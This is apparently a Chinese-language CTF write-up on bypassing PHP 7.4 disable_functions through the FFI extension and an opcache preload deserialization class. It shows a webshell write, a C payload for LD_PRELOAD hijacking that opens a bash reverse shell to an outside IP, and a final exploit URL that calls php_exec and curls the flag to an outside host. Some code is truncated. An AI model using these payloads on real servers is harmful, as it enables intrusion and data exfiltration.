.............
php7.4的FFI扩展安全问题以及利用
进入环境:
先传phpinfo() 看看。
看到open_basedir 想着 能利用 set_ini 来进行读取flag,但是看到 disable_functions
看到禁用了非常多的函数, 连 sysmlink都禁用了,说明我们无法从open_basedir 的层面上绕过。
禁用的函数够多,但是没有禁用 file_put_contents,轻松写马。
pyload:
/?a= file_put_content('1.php','');
连接
没法看到 根目录,显示 没有权限, 看来不是file_put_contents 写个马这么简单。
我们能不能 用LD_PRELOAD 劫持环境变量,上传个 恶意 的 so 文件去劫持呢?
不懂 so劫持的同学可以看看我之前写的:LD_PRELOAD劫持。_snowlyzz的博客-CSDN博客
写入 payload.c
#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/36.137.123.83/7777 0>&1'");
}
编译成 so 文件
gcc -shared -fPIC payload.c -o payload.so
这里 把 payload.so 文件上传到 /var/www/html/目录下。
回到源码上来。/?a=putenv("LD_PRELOAD=/var/www/html/payload.so") 把so 添加成环境变量,然后触发 我们在 payload.so 写入的反弹shell 。
结果。。。。
putenv 被禁掉了。。。寄! 还有 error_log mail
error_log 应该是 报错日志的备份目录 利用 include_path 应该是可以写入 error_log 的
即使失败了 ,也算是不错的猜想。
Apache Mod CGI 也没开
先读一下 Web 目录下 的 preload.php 源码:
null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
里面定义额了一个可以反序列化执行任意函数的类,然而我们已经有了一句话木马,看起来没有什么作用
但是 preload.php这个名字 一般都是预加载的文件,于是在phpinfo 中搜一下:
opcache.preload = /var/www/html/preload.php
这里看一下配置:PHP: rfc:preload
介绍:
是PHP7.4 的新特性,可以利用其在服务器启动时加载一些类和函数,然后就可以在之后如同PHP内部实体一样直接调用 。
可以在PHP文件中使用 FFI 功能 看看phpinfo里开没开 这个FFI 功能
看来是启动了,看一下文档:PHP: Basic FFI usage - Manual
看来是能够调用 c语言的库
可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:
null,
'func' => 'FFI::cdef',
'arg' => "int php_exec(int type, char *cmd);"
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __construct () {
}
}
$a = new A;
echo serialize($a);
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));